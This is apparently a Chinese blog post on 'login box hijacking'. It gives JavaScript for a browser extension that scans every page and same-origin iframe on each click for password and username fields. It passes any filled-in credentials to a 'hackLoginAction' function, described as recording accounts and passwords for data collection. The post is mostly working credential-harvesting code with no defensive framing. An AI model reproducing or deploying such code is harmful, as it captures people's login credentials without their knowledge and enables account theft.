Skip to content

登录框劫持

1 问题背景

自己开发的浏览器插件Edge为了获得更好的数据采集能力,增加了密码输入框的检测,并同时记录账号和密码。

2 实现思路

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
/**
 * Unique
 *
 * @author Feei <wufeifei@wufeifei.com>
 * @returns {Array}
 */
Array.prototype.unique = function () {  
    var res = [];
    var json = {};
    for (var i = 0; i < this.length; i++) {
        if (!json[this[i]]) {
            res.push(this[i]);
            json[this[i]] = 1;
        }
    }
    return res;
};

/**
 * Parse document login input
 *
 * @author Feei <wufeifei@wufeifei.com>
 * @param inputs
 * @description
 * Login's password can with input[type=password] find
 * Login's username can with input.attr('name') contain name/user discernment, if not find then select password input index -1's input
 */
function parseDocument(inputs) {  
    var password = [];
    var username = [];
    var usernameInputKeywords = ['user', 'name'];
    for (var i = 0; i < inputs.length; i++) {
        /**
         * Discernment password input index
         */
        if (inputs[i].type.toLowerCase() == 'password') {
            password.push(i);
        } else {
            /**
             * Discernment username input index
             */
            for (var j = 0; j < usernameInputKeywords.length; j++) {
                if (usernameInputKeywords.hasOwnProperty(j) && inputs[i].type.toLowerCase() !== 'hidden') {
                    if (inputs[i].className.toLowerCase().indexOf(usernameInputKeywords[j]) !== -1 || inputs[i].id.toLowerCase().indexOf(usernameInputKeywords[j]) !== -1) {
                        username.push(i);
                    }
                }
            }
        }
    }

    username = username.unique();

    //console.log(username);
    //console.log(password);
    //console.log(inputs);

    var passwordEle = [], usernameEle = [], inputBorder = '4px solid ', inputColor = [['black', 'red'], ['orange', 'blue'], ['green', 'pink']], tmpUsernameEle, tmpPasswordEle;
    if (password.length >= 1) {
        var hasPass = false;
        for (var k = 0; k < password.length; k++) {
            passwordEle[k] = inputs[password[k]];
            if (typeof username[k] !== 'undefined') {
                usernameEle[k] = inputs[username[k]];
            } else {
                usernameEle[k] = inputs[password[k] - 1];
            }
            usernameEle[k].style.borderRight = inputBorder + inputColor[k][0];
            passwordEle[k].style.borderRight = inputBorder + inputColor[k][1];
            if (usernameEle[k].value != '' && passwordEle[k].value != '') {
                hasPass = true;
                hackLoginAction(false, usernameEle[k].value, passwordEle[k].value);
            }

            if (usernameEle[k].value != '') {
                tmpUsernameEle = usernameEle[k];
            }

            if (passwordEle[k].value != '') {
                tmpPasswordEle = passwordEle[k];
            }
        }
        if (hasPass === false && (typeof tmpUsernameEle != 'undefined' && typeof tmpPasswordEle != 'undefined')) {
            tmpUsernameEle.style.borderRight = inputBorder + inputColor[0][0];
            tmpPasswordEle.style.borderRight = inputBorder + inputColor[1][1];
            hackLoginAction(false, tmpUsernameEle.value, tmpPasswordEle.value);
        }
    }
}

/**
 * Parse all document
 */
var inputs;  
function parseAllDocument(e) {  
    /**
     * Current document
     */
    if (typeof e == 'undefined') {
        inputs = document.getElementsByTagName('input');
        parseDocument(inputs);
    } else if (e.view == top.window) {
        inputs = document.getElementsByTagName('input');
        parseDocument(inputs);
    }
    /**
     * Many document (iFrames)
     * @type {NodeList}
     */
    var iFrames = document.getElementsByTagName("iframe");
    var doc = [];
    for (var j = 0; j < iFrames.length; j++) {
        /**
         * Only listen equally with base document and iFrame document and not cross domain
         */
        if ((window.location.href.split(':')[0] == iFrames[j].src.split(':')[0]) && (window.location.href.split('/')[2] == iFrames[j].src.split('/')[2])) {
            console.log(iFrames[j]);
            doc[j] = iFrames[j].contentDocument ? iFrames[j].contentDocument : iFrames[j].contentWindow.document;
            inputs = doc[j].getElementsByTagName('input');
            if (typeof e != 'undefined' && e.view == top.window) {
                parseDocument(inputs);
            }
            doc[j].addEventListener('click', function () {
                parseDocument(inputs);
            })
        }
    }
}

// Parse all document
parseAllDocument();

// Listen click event
document.addEventListener('click', function (e) {  
    parseAllDocument(e);
});